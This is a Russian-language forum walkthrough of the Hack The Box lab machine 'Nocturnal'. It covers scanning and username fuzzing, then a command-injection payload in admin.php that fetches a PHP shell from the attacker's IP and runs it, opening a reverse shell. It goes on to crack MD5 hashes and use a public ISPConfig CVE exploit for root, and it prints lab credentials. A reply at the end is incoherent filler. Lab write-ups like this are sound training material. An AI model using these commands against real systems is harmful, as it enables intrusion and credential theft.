HTB Nocturnal - Прохождение машины

CyberSec RuTOR

Кибербезопасность
Команда форума
Модератор
Сообщения
933
Реакции
1.341

Итак, сегодня мы разберём машину Nocturnal | Linux easy.


После добавления nocturnal.htb в файл /etc/hosts запускаем первый скан. Я использую rustscan, так как он быстрее определяет открытые порты целевой системы.

Bash:
rustscan -a nocturnal.htb -- -A

Если вы используете nmap, то первый скан лучше запускать в таком формате:

Bash:
sudo nmap -p- <IP>

Это сэкономит ваше время, так как, запуская скрипты сканирования сразу, nmap будет пытаться применять их к каждому порту, который он сканирует. Лучше сначала найти открытые порты, а затем применять -A, -sV и т.д.

Результат сканирования показал следующие данные. Мы видим, что открыты SSH и HTTP серверы:

Код:
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)

Перед проверкой веб-сервера я запустил Ffuf для поиска субдоменов:

Bash:
ffuf -u http://nocturnal.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "Host:FUZZ.nocturnal.htb" -mc 200

Одновременно с этим запустил dirsearch:

Bash:
dirsearch -u nocturnal.htb

Ffuf не дал никаких результатов, а вот dirsearch подсветил некоторые директории. Открыв страницу, читаем текст и видим возможность загружать файлы, а также возможность логина и создания аккаунта.
image1.png


image2.png

Создаём аккаунт и попадаем на соответствующую страницу. Попытки обойти санитайзер файлов ничего не дали, однако это навело на мысль. Внимательно посмотрев на ссылку, можно увидеть имя пользователя и путь к файлу:
image3.png


Bash:
http://nocturnal.htb/view.php?username=user&file=fake.pdf

Если заменить fake.pdf на любое другое название файла и открыть ссылку, то нас перекинет на страницу с сообщением о том, что файл не обнаружен.

Открыв Burp Suite, я проверил, есть ли тут уязвимость LFI, но её не оказалось. Тем не менее, в Burp видно, что у нас есть куки сессии, которые также можно увидеть, используя Cookie-Editor для Firefox.
image4.png


Исходя из всего вышеизложенного, я решил проверить возможность фаззинга никнеймов через URL строку. Для этого воспользовался gobuster:

Bash:
gobuster fuzz -H 'Cookie: <Ваша куки>' -u 'http://nocturnal.htb/view.php?username=FUZZ&file=fake.pdf' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 200 -o fuzz_users.txt

Начинаем фаззинг и видим множество ответов в терминале. Чтобы он работал нормально, исключим длину неверного ответа:

Bash:
gobuster fuzz -H 'Cookie: <Ваша куки>' -u 'http://nocturnal.htb/view.php?username=FUZZ&file=fake.pdf' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 200 -o fuzz_users.txt --exclude-length 2985

В итоге обнаруживаем несколько валидных пользователей. Проверив каждого из них, понимаем, что нужные данные есть только у пользователя с ником amanda.

Выгружаем их на свою машину и приступаем к изучению. В файле content.xml была найдена строка с паролем: arHkG7HAI68X8s1J.

В итоге заходим по следующим данным: amanda:arHkG7HAI68X8s1J.

Попав в админ-панель, мы получаем возможность читать исходные коды страниц и создавать бэкапы данных. В бэкапах изначально не нашёл ничего интересного и приступил к чтению кода.

В admin.php есть интересная функция - proc_open, которая передаёт входные данные в шаблон $command. Также имеется блэклист символов: [';', '&', '|', '$', ' ', '', '{', '}', '&&'] .
Обратите внимание, что тут нет двойной кавычки, и просто введя в строку пароля для бэкапа что-то вроде pass", мы получаем ответ с ошибкой, а это значит, что удалось стригерить shell.

Далее следует череда различных запросов к серверу через curl и проксирование ответа в Burp. В итоге был найден способ загрузить shell на сервер. Перед этим скачайте PHP shell и укажите свой tun0 IP и порт прослушивания.

Запускаем прослушивание порта через nc:

Bash:
nc -lvnp <порт>

Затем, через такую команду в терминале, загружаем и запускаем shell:

Bash:
curl -H 'Cookie: PHPSESSID=<Ваш куки>' 'http://nocturnal.htb/admin.php' \
--data 'backup=1' \
--data-urlencode "password=\"$(echo -ne 'curl\thttp://<IP tun0>/shell.php\t-O')" && curl -H 'Cookie: PHPSESSID=<Ваш куки>' 'http://nocturnal.htb/shell.php'

Ловим shell и стабилизируем его:

Bash:
1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. export TERM=xterm
3. Нажимаем Ctrl+Z
4. stty raw -echo; fg

Поняв, что мы находимся под пользователем www-data, идём в стандартный каталог cd /var/www.

Там обнаруживаем папку с БД, заходим в неё и видим файл БД. Его можно либо открыть на месте, либо скачать на свою машину.

В нём можно найти следующее:

Bash:
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|fodac|42c05216777b71043a519ee897d53850

Прежде чем ломать хэши, откроем /etc/passwd на машине цели и проверим, кто является системным пользователем, а кто нет.

В итоге у нас остаётся только tobias, его хэш и будем ломать.

Bash:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 --fork=4 hashes.txt

Получаем валидные данные: tobias:slowmotionapocalypse.

Подключаемся через SSH и начинаем проверку системы. Команда sudo -l показывает, что пользователь не имеет никаких прав, SUID тоже нет, а id тоже не даёт полезной информации. Однако, после выполнения команды:

Bash:
netstat -plutan | grep -i listen

Я обратил внимание на порт 8080, который открыт на локальном хосте.

Чтобы посмотреть на сервис, нужно выполнить port forwarding с вашей основной машины:

Bash:
ssh -L <назначьте какой-то порт>:127.0.0.1:8080 tobias@<IP цели>

После этого открываем у себя на машине 127.0.0.1:<назначенный порт> и видим панель ISPConfig. Попробовав разные варианты стандартных логина/пароля, я не добился успеха и решил поискать CVE для этого сервиса.

Я нашёл CVE-2023-46818 и соответствующий эксплойт на GitHub. Запустив его, я без труда получил доступ к системе от имени root пользователя. В конце пишем:

Bash:
cat /root/root.txt

и получаем финальный флаг.

На этом прохождение данной комнаты завершено. Если у вас есть вопросы, вы можете оставить их в комментариях под этим постом. Вскоре будет создан закреп для тех, кто вообще не понимает, что тут описано или понимает смутно. Разбор специально начат с лёгкой комнаты. Выходить будут исключительно онлайн машины на HTB, прохождения которых страйкает сама площадка.
 
Касательно конгломерации вокруг возообладания функций в природе можно изучить так же сегмент данных об анализе данных через Cookies'ы, которые поглощают через разноформатные баннеры и прочие трафики всю информацию об прослушиваемом клиенте.
 

Похожие темы

Environment - Linux Medium В прошлый раз мы начали с прохождения лёгкой машины и как я писал в первой статье, пойдём по нарастающей. Начнем прохождение машины, как всегда, с первичных сканов. Результаты сканирования с помощью Nmap показали только два открытых порта: 22/tcp open ssh syn-ack...
Ответы
2
Просмотры
602
Сертифицированный специалист по тестированию на проникновение Hack The Box (HTB CPTS) - это практическая сертификация, оценивающая навыки кандидатов в области тестирования на проникновение. Обладатели сертификата "Сертифицированный специалист по тестированию на проникновение Hack The Box" будут...
Ответы
1
Просмотры
835
️‍ Основанный на разведке открытых источников WEB OSINT: Практическое руководство Разведка открытых источников (OSINT) представляет собой мощный инструмент для сбора информации из доступных источников. В этой статье мы рассмотрим различные аспекты OSINT, включая примеры, команды и методы...
Ответы
2
Просмотры
968
Назад
Сверху Снизу